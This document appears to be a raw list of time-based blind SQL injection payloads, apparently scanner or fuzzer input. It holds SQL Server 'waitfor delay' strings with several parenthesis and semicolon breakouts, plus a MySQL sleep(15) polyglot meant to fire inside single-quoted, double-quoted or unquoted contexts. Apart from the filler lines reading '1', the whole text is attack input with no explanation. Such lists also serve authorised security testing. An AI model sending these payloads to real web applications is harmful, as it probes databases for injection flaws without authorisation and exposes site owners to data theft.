1 waitfor delay '0:0:15' --

1

-1)); waitfor delay '0:0:15' --

1

-1); waitfor delay '0:0:15' --

1

-1; waitfor delay '0:0:15' --

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1